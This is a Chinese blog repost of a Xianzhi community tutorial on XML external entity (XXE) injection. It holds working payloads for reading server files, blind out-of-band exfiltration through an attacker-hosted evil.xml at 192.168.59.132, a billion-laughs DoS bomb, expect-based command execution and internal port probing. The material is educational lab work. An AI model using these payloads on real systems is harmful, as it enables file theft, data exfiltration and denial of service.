XML外部实体注入[转载]

前言

对于xxe，深入的太少，一般做题也是复制payload再修改，没有了解过内部的结构规范等。这里转载了一篇先知社区的文章,排版了一下适合博客样式。文章总结的很好，结合了很多篇的博客文章，看完也是对于xxe有了大致的了解，更深入的一些bypass还需要参考更多的深入的文章。像红帽杯中的一道web就是xxe触发TP5.2x phar反序列化反弹shell。

0x01:简单了解XML

XML 指可扩展标记语言（EXtensible Markup Language）
XML 是一种标记语言，很类似 HTML
XML 被设计为传输和存储数据，其焦点是数据的内容
XML 被设计用来结构化、存储以及传输信息
XML 允许创作者定义自己的标签和自己的文档结构

XML的优点：

xml是互联网数据传输的重要工具，它可以跨越互联网任何的平台，不受编程语言和操作系统的限制，非常适合Web传输，而且xml有助于在服务器之间穿梭结构化数据，方便开发人员控制数据的存储和传输。

XML的特点及作用：

特点：

xml与操作系统、编程语言的开发平台都无关
实现不同系统之间的数据交互

作用：

配置应用程序和网站
数据交互

而且在配置文件里边所有的配置文件都是以XMl的格式来编写的，跨平台进行数据交互，它可以跨操作系统，也可以跨编程语言的平台,所以可以看出XML是非常方便的，应用的范围也很广，但如果存在漏洞，那危害就不言而喻了。

XML语法、结构与实体引用：

语法：

XML元素都必须有关闭标签。
XML 标签对大小写敏感。
XML 必须正确地嵌套。
XML 文档必须有根元素。
XML 的属性值须加引号。

结构：

XML 文档声明，在文档的第一行
XML 文档类型定义，即DTD，XXE 漏洞所在的地方
XML 文档元素

如：

 

 

实体引用：

在 XML 中一些字符拥有特殊的意义，如果把字符 < 放在 XML 元素中，便会发生错误，这是因为解析器会把它当作新元素的开始。
例如:

<message>hello < world</message>

便会报错，为了避免这些错误，可以实体引用来代替 < 字符

<message>hello &lt; world</message>

XML 中，有 5 个预定义的实体引用，分别为：

 

 上面提到XML 文档类型定义，即DTD，XXE 漏洞所在的地方，为什么这个地方会产生XXE漏洞那，不要着急，先来了解一下DTD。

0x02 了解DTD：

文档类型定义（DTD）可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。

优点：

有了DTD，每个XML文件可以携带一个自身格式的描述。

有了DTD，不同组织的人可以使用一个通用DTD来交换数据。

DTD文档的三种应用形式：

1.内部DTD文档

<!DOCTYPE 根元素[定义内容]>

2.外部DTD文档

<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

3.内外部DTD文档结合

<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

例如：
上半部分是内部DTD文档，下半部分是XML文档

#PCDATA（Parsed Character Data） ，代表的是可解析的字符数据，即字符串

下面再举一个外部DTD文档的例子：
新建一个DTD文档，文件名叫LOL.dtd，内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT game (lol, dota, dnf)>
<!ELEMENT lol (#PCDATA)>
<!ELEMENT dota (#PCDATA)>
<!ELEMENT dnf (#PCDATA)>　

再新建一个XML文档，加入外部DTD文件的名称（同一个路径下只给出文件名即可）

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE game SYSTEM "LOL.dtd">
<game>
    <lol>a</lol>
    <dota>b</dota>
    <dnf>c</dnf>
</game>

具体例子可以参考
有效的XML: DTD（文档类型定义）介绍

DTD元素

在一个 DTD 中，元素通过元素声明来进行声明。

其中可以看到一些PCDATA或是CDATA，这里简单叙述一下：

PCDATA：

PCDATA 的意思是被解析的字符数据（parsed character data）。可以把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理，而实体会被展开。但是，被解析的字符数据不应当包含任何 & < > 字符；需要使用 & < > 实体来分别替换它们。

CDATA：

CDATA 的意思是字符数据（character data）。CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待，其中的实体也不会被展开。

简单比较直观的就是这样的一种解释：
PCDATA表示已解析的字符数据。
CDATA是不通过解析器进行解析的文本，文本中的标签不被看作标记。CDATA表示里面是什么数据XML都不会解析

DTD-实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。

内部实体

<!ENTITY 实体名称 "实体的值">

一个实体由三部分构成: &符号, 一个实体名称, 以及一个分号 (;)
例如：

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "hello">]>
<foo>&xxe;</foo>

外部实体

XML中对数据的引用称为实体，实体中有一类叫外部实体，用来引入外部资源，有SYSTEM和PUBLIC两个关键字，表示实体来自本地计算机还是公共计算机，外部实体的引用可以利用如下协议

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php

<!ENTITY 实体名称 SYSTEM "URL">

参数实体

<!ENTITY %实体名称 "值">
<!ENTITY %实体名称 SYSTEM "URL">

例如:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd中的内容

<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

外部实体可支持http、file等协议，所以就有可能通过引用外部实体进行远程文件读取

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

上述代码中，XML的外部实体xxe被赋予的值为：file:///etc/passwd当解析xml文档是，&xxe;会被替换为file:///ect/passwd的内容，导致敏感信息泄露　　

（例子参考大师傅博客XXE漏洞学习）

可能这些知识点会枯燥无味，但XXE主要是利用了DTD引用外部实体而导致的漏洞，所以了解还是很有必要的,接下来就要进入正题咯。

0x03 一步一步接近XXE漏洞

漏洞危害：

如果开发人员在开发时允许引用外部实体时，恶意用户便会利用这一漏洞构造恶意语句，从而引发文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等，可见其危害之大。

XXE常见的几种攻击方式

 

（这张图其实就很好的解释了如何利用XXE进行攻击）

XXE和SQL注入的攻击方法也有一点相似，就是有回显和没有回显

有回显的情况可以直接在页面中看到payload的执行结果或现象，无回显的情况又称为blind xxe（类似于布尔盲注、时间盲注），可以使用外带数据(OOB)通道提取数据

下面就通过构造一些简单的环境来了解一下各个攻击方法究竟是如何利用的

一、读取任意文件（有回显与无回显）

测试源码：

<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);//有回显
?>

构造payload：

<?xml version="1.0" enyoucoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://1.txt">]>
<root>&file;</root>

将payload进行url编码，传入即可读取任意文件

 

 根据结果我们可以看到通过构造内部实体的payload,在 xml 中 &file ; 已经变成了外部文件1.txt中内容，导致敏感信息泄露。

下面通过靶场来进行练习有回显读取文件和无回显读取文件，抓包发现通过XML进行传输数据 

 

发现响应包的内容为usrename 

 

构造payload

<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY test SYSTEM  "file:///d:/1.txt">
]>
<user>
  <username>&test;</username>
  <password>hack</password>
</user>

 

将file:///d:/1.txt改为file:///c:/windows/win.ini等其他重要文件都是可以读取的，也可以读取PHP文件等。

 

 解码后即是PHP代码的内容

 

 上面利用内部实体和外部实体分别构造了不同的payload，而且我们发现这个靶场是有回显的，通过回显的位置我们观察到了响应包的内容，以此为依据进行构造payload，从而达到任意读取文件的目的

但这种攻击方式属于传统的XXE，攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件，那如果对方服务器没有回显应该如何进行注入

下面就将源码修改下，将输出代码和报错信息禁掉，改成无回显

 

再次进行注入，发现已经没有回显内容

 

 

下面就利用这个靶场来练习无回显的文件读取,遇到无回显这种情况，可以通过Blind XXE方法加上外带数据通道来提取数据，先使用php://filter获取目标文件的内容，然后将内容以http请求发送到接受数据的服务器来读取数据。虽然无法直接查看文件内容，但我们仍然可以使用易受攻击的服务器作为代理，在外部网络上执行扫描以及代码。

这里我使用的攻击服务器地址为192.168.59.132,构造出如下payload：

<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/PHPstudys/PHPTutorial/WWW/php_xxe/doLogin.php">
<!ENTITY % dtd SYSTEM "http://192.168.59.132/evil.xml">
%dtd;
%send;
]>

 

evil.xml

<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.59.132/?content=%file;'>"> %payload;
//%号要进行实体编码成&#x25

evil.xml放在攻击服务器的web目录下进行访问

 

这里如果不是管理员，需要更改一下对目录的管理权限等，这里偷个懒权限全调至最高

至此准备工作完毕，下面就监控下apache的访问日志

请求几次，发现

 

接下来就base64解码即可

实验完成，但为什么那，简单的解释下:

从 payload 中能看到 连续调用了三个参数实体 %dtd;%file;%send;，这就是利用先后顺序，%dtd 先调用，调用后请求远程服务器(攻击服务器)上的evil.xml，类似于将evil.xml包含进来，然后再调用 evil.xml中的 %file, %file 就会去获取对方服务器上面的敏感文件，然后将 %file 的结果填入到 %send ，再调用 %send; 把我们的读取到的数据发送到我们的远程主机上，这样就实现了外带数据的效果，完美的解决了 XXE 无回显的问题。

无回显的构造方法也有几种固定的模板，如：

一、第一种命名实体+外部实体+参数实体写法

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> 
%dtd; %all; 
]> 
<value>&send;</value>

evil.xml文件内容为

<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">

二、第二种命名实体+外部实体+参数实体写法

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd;
%send;
]>
<root></root>

evil.xml文件内容为：

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;

二、DOS攻击（Denial of service：拒绝服务）

几乎所有可以控制服务器资源利用的东西，都可用于制造DOS攻击。通过XML外部实体注入，攻击者可以发送任意的HTTP请求，因为解析器会解析文档中的所有实体，所以如果实体声明层层嵌套的话，在一定数量上可以对服务器器造成DoS。

例如常见的XML炸弹

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

XML解析器尝试解析该文件时，由于DTD的定义指数级展开（即递归引用），lol 实体具体还有 “lol” 字符串，然后一个 lol2 实体引用了 10 次 lol 实体，一个 lol3 实体引用了 10 次 lol2 实体，此时一个 lol3 实体就含有 10^2 个 “lol” 了，以此类推，lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。 所以这个1K不到的文件经过解析后会占用到3G的内存,可见有多恐怖，不过现代的服务器软硬件大多已经抵御了此类攻击。

防御XML炸弹的方法也很简单禁止DTD或者是限制每个实体的最大长度。

三、命令执行

在php环境下，xml命令执行需要php装有expect扩展，但该扩展默认没有安装，所以一般来说命令执行是比较难利用，但不排除有幸运的情况咯，这里就搬一下大师傅的代码以供参考：

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
  <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

四、内网探测

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">]>
<root>

 

 

后面的403禁止就很明显的说明了该端口是开放状态的

如果这里再尝试一下没有开放的端口，发现

 

 

 

文章链接：

https://xz.aliyun.com/t/6754

 

参考博客：
XXE漏洞攻防原理
XXE漏洞
推荐靶场：
phpaudit-XXE
xxe-lab